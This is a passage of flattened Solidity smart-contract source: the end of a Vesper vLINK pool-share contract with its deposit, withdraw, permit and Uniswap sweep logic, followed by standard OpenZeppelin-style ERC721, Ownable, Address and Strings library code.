) public ERC20(_name, _symbol) {
uint256 chainId;
assembly {
chainId := chainid()
}
token = IERC20(_token);
controller = IController(_controller);
IAddressListFactory factory =
IAddressListFactory(0xD57b41649f822C51a73C44Ba0B3da4A880aF0029);
IAddressListExt _feeWhiteList = IAddressListExt(factory.createList());
_feeWhiteList.grantRole(keccak256("LIST_ADMIN"), _controller);
feeWhiteList = _feeWhiteList;
domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(_name)),
keccak256(bytes("1")),
chainId,
address(this)
)
);
}
/**
* @notice Deposit ERC20 tokens and receive pool shares depending on the current share price.
* @param amount ERC20 token amount.
*/
function deposit(uint256 amount) external virtual nonReentrant whenNotPaused {
_deposit(amount);
}
/**
* @notice Deposit ERC20 tokens with permit aka gasless approval.
* @param amount ERC20 token amount.
* @param deadline The time at which signature will expire
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function depositWithPermit(
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external virtual nonReentrant whenNotPaused {
IVesperPool(address(token)).permit(_msgSender(), address(this), amount, deadline, v, r, s);
_deposit(amount);
}
/**
* @notice Withdraw collateral based on given shares and the current share price.
* Transfer earned rewards to caller. Withdraw fee, if any, will be deduced from
* given shares and transferred to feeCollector. Burn remaining shares and return collateral.
* @param shares Pool shares. It will be in 18 decimals.
*/
function withdraw(uint256 shares) external virtual nonReentrant whenNotShutdown {
_withdraw(shares);
}
/**
* @notice Withdraw collateral based on given shares and the current share price.
* Transfer earned rewards to caller. Burn shares and return collateral.
* @dev No withdraw fee will be assessed when this function is called.
* Only some white listed address can call this function.
* @param shares Pool shares. It will be in 18 decimals.
*/
function withdrawByStrategy(uint256 shares) external virtual nonReentrant whenNotShutdown {
require(feeWhiteList.get(_msgSender()) != 0, "Not a white listed address");
_withdrawByStrategy(shares);
}
/**
* @notice Transfer tokens to multiple recipient
* @dev Left 160 bits are the recipient address and the right 96 bits are the token amount.
* @param bits array of uint
* @return true/false
*/
function multiTransfer(uint256[] memory bits) external returns (bool) {
for (uint256 i = 0; i < bits.length; i++) {
address a = address(bits[i] >> 96);
uint256 amount = bits[i] & ((1 << 96) - 1);
require(transfer(a, amount), "Transfer failed");
}
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param amount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(
address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, "Expired");
bytes32 digest =
keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
amount,
nonces[owner]++,
deadline
)
)
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0) && signatory == owner, "Invalid signature");
_approve(owner, spender, amount);
}
/**
* @notice Get price per share
* @dev Return value will be in token defined decimals.
*/
function getPricePerShare() external view returns (uint256) {
if (totalSupply() == 0) {
return convertFrom18(1e18);
}
return totalValue().mul(1e18).div(totalSupply());
}
/// @dev Convert to 18 decimals from token defined decimals. Default no conversion.
function convertTo18(uint256 amount) public pure virtual returns (uint256) {
return amount;
}
/// @dev Convert from 18 decimals to token defined decimals. Default no conversion.
function convertFrom18(uint256 amount) public pure virtual returns (uint256) {
return amount;
}
/// @dev Get fee collector address
function feeCollector() public view virtual returns (address) {
return controller.feeCollector(address(this));
}
/// @dev Returns the token stored in the pool. It will be in token defined decimals.
function tokensHere() public view virtual returns (uint256) {
return token.balanceOf(address(this));
}
/**
* @dev Returns sum of token locked in other contracts and token stored in the pool.
* Default tokensHere. It will be in token defined decimals.
*/
function totalValue() public view virtual returns (uint256) {
return tokensHere();
}
/**
* @notice Get withdraw fee for this pool
* @dev Format: 1e16 = 1% fee
*/
function withdrawFee() public view virtual returns (uint256) {
return controller.withdrawFee(address(this));
}
/**
* @dev Hook that is called just before burning tokens. To be used i.e. if
* collateral is stored in a different contract and needs to be withdrawn.
* @param share Pool share in 18 decimals
*/
function _beforeBurning(uint256 share) internal virtual {}
/**
* @dev Hook that is called just after burning tokens. To be used i.e. if
* collateral stored in a different/this contract needs to be transferred.
* @param amount Collateral amount in collateral token defined decimals.
*/
function _afterBurning(uint256 amount) internal virtual {}
/**
* @dev Hook that is called just before minting new tokens. To be used i.e.
* if the deposited amount is to be transferred from user to this contract.
* @param amount Collateral amount in collateral token defined decimals.
*/
function _beforeMinting(uint256 amount) internal virtual {}
/**
* @dev Hook that is called just after minting new tokens. To be used i.e.
* if the deposited amount is to be transferred to a different contract.
* @param amount Collateral amount in collateral token defined decimals.
*/
function _afterMinting(uint256 amount) internal virtual {}
/**
* @dev Calculate shares to mint based on the current share price and given amount.
* @param amount Collateral amount in collateral token defined decimals.
*/
function _calculateShares(uint256 amount) internal view returns (uint256) {
require(amount != 0, "amount is 0");
uint256 _totalSupply = totalSupply();
uint256 _totalValue = convertTo18(totalValue());
uint256 shares =
(_totalSupply == 0 || _totalValue == 0)
? amount
: amount.mul(_totalSupply).div(_totalValue);
return shares;
}
/// @dev Deposit incoming token and mint pool token i.e. shares.
function _deposit(uint256 amount) internal whenNotPaused {
uint256 shares = _calculateShares(convertTo18(amount));
_beforeMinting(amount);
_mint(_msgSender(), shares);
_afterMinting(amount);
emit Deposit(_msgSender(), shares, amount);
}
/// @dev Handle withdraw fee calculation and fee transfer to fee collector.
function _handleFee(uint256 shares) internal returns (uint256 _sharesAfterFee) {
if (withdrawFee() != 0) {
uint256 _fee = shares.mul(withdrawFee()).div(1e18);
_sharesAfterFee = shares.sub(_fee);
_transfer(_msgSender(), feeCollector(), _fee);
} else {
_sharesAfterFee = shares;
}
}
/// @dev Update pool reward of sender and receiver before transfer.
function _beforeTokenTransfer(
address from,
address to,
uint256 /* amount */
) internal virtual override {
address poolRewards = controller.poolRewards(address(this));
if (poolRewards != address(0)) {
if (from != address(0)) {
IPoolRewards(poolRewards).updateReward(from);
}
if (to != address(0)) {
IPoolRewards(poolRewards).updateReward(to);
}
}
}
/// @dev Burns shares and returns the collateral value, after fee, of those.
function _withdraw(uint256 shares) internal whenNotShutdown {
require(shares != 0, "share is 0");
_beforeBurning(shares);
uint256 sharesAfterFee = _handleFee(shares);
uint256 amount =
convertFrom18(sharesAfterFee.mul(convertTo18(totalValue())).div(totalSupply()));
_burn(_msgSender(), sharesAfterFee);
_afterBurning(amount);
emit Withdraw(_msgSender(), shares, amount);
}
/// @dev Burns shares and returns the collateral value of those.
function _withdrawByStrategy(uint256 shares) internal {
require(shares != 0, "Withdraw must be greater than 0");
_beforeBurning(shares);
uint256 amount = convertFrom18(shares.mul(convertTo18(totalValue())).div(totalSupply()));
_burn(_msgSender(), shares);
_afterBurning(amount);
emit Withdraw(_msgSender(), shares, amount);
}
}
// File: contracts/interfaces/uniswap/IUniswapV2Router01.sol
pragma solidity 0.6.12;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// File: contracts/interfaces/uniswap/IUniswapV2Router02.sol
pragma solidity 0.6.12;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// File: contracts/interfaces/vesper/IStrategy.sol
pragma solidity 0.6.12;
interface IStrategy {
function rebalance() external;
function deposit(uint256 amount) external;
function beforeWithdraw() external;
function withdraw(uint256 amount) external;
function withdrawAll() external;
function isUpgradable() external view returns (bool);
function isReservedToken(address _token) external view returns (bool);
function token() external view returns (address);
function pool() external view returns (address);
function totalLocked() external view returns (uint256);
//Lifecycle functions
function pause() external;
function unpause() external;
}
// File: contracts/pools/VTokenBase.sol
pragma solidity 0.6.12;
abstract contract VTokenBase is PoolShareToken {
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
constructor(
string memory name,
string memory symbol,
address _token,
address _controller
) public PoolShareToken(name, symbol, _token, _controller) {
require(_controller != address(0), "Controller address is zero");
}
modifier onlyController() {
require(address(controller) == _msgSender(), "Caller is not the controller");
_;
}
function pause() external onlyController {
_pause();
}
function unpause() external onlyController {
_unpause();
}
function shutdown() external onlyController {
_shutdown();
}
function open() external onlyController {
_open();
}
/// @dev Approve strategy to spend collateral token and strategy token of pool.
function approveToken() external virtual onlyController {
address strategy = controller.strategy(address(this));
token.safeApprove(strategy, MAX_UINT_VALUE);
IERC20(IStrategy(strategy).token()).safeApprove(strategy, MAX_UINT_VALUE);
}
/// @dev Reset token approval of strategy. Called when updating strategy.
function resetApproval() external virtual onlyController {
address strategy = controller.strategy(address(this));
token.safeApprove(strategy, 0);
IERC20(IStrategy(strategy).token()).safeApprove(strategy, 0);
}
/**
* @dev Rebalance invested collateral to mitigate liquidation risk, if any.
* Behavior of rebalance is driven by risk parameters defined in strategy.
*/
function rebalance() external virtual {
IStrategy strategy = IStrategy(controller.strategy(address(this)));
strategy.rebalance();
}
/**
* @dev Convert given ERC20 token into collateral token via Uniswap
* @param _erc20 Token address
*/
function sweepErc20(address _erc20) external virtual {
_sweepErc20(_erc20);
}
/// @dev Returns collateral token locked in strategy
function tokenLocked() public view virtual returns (uint256) {
IStrategy strategy = IStrategy(controller.strategy(address(this)));
return strategy.totalLocked();
}
/// @dev Returns total value of vesper pool, in terms of collateral token
function totalValue() public view override returns (uint256) {
return tokenLocked().add(tokensHere());
}
/**
* @dev After burning hook, it will be called during withdrawal process.
* It will withdraw collateral from strategy and transfer it to user.
*/
function _afterBurning(uint256 _amount) internal override {
uint256 balanceHere = tokensHere();
if (balanceHere < _amount) {
_withdrawCollateral(_amount.sub(balanceHere));
balanceHere = tokensHere();
_amount = balanceHere < _amount ? balanceHere : _amount;
}
token.safeTransfer(_msgSender(), _amount);
}
/**
* @dev Before burning hook.
* Some actions, like resurface(), can impact share price and has to be called before withdraw.
*/
function _beforeBurning(
uint256 /* shares */
) internal override {
IStrategy strategy = IStrategy(controller.strategy(address(this)));
strategy.beforeWithdraw();
}
function _beforeMinting(uint256 amount) internal override {
token.safeTransferFrom(_msgSender(), address(this), amount);
}
function _withdrawCollateral(uint256 amount) internal virtual {
IStrategy strategy = IStrategy(controller.strategy(address(this)));
strategy.withdraw(amount);
}
function _sweepErc20(address _from) internal {
IStrategy strategy = IStrategy(controller.strategy(address(this)));
require(
_from != address(token) && _from != address(this) && !strategy.isReservedToken(_from),
"Not allowed to sweep"
);
IUniswapV2Router02 uniswapRouter = IUniswapV2Router02(controller.uniswapRouter());
uint256 amt = IERC20(_from).balanceOf(address(this));
IERC20(_from).safeApprove(address(uniswapRouter), 0);
IERC20(_from).safeApprove(address(uniswapRouter), amt);
address[] memory path;
if (address(token) == WETH) {
path = new address[](2);
path[0] = _from;
path[1] = address(token);
} else {
path = new address[](3);
path[0] = _from;
path[1] = WETH;
path[2] = address(token);
}
uniswapRouter.swapExactTokensForTokens(amt, 1, path, address(this), now + 30);
}
}
// File: contracts/pools/VLINK.sol
pragma solidity 0.6.12;
//solhint-disable no-empty-blocks
contract VLINK is VTokenBase {
constructor(address _controller)
public
VTokenBase("vLINK Pool", "vLINK", 0x514910771AF9Ca656af840dff83E8264EcF986CA, _controller)
{}
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/**
*Submitted for verification at Etherscan.io on 2021-11-29
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer of token that is not own"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
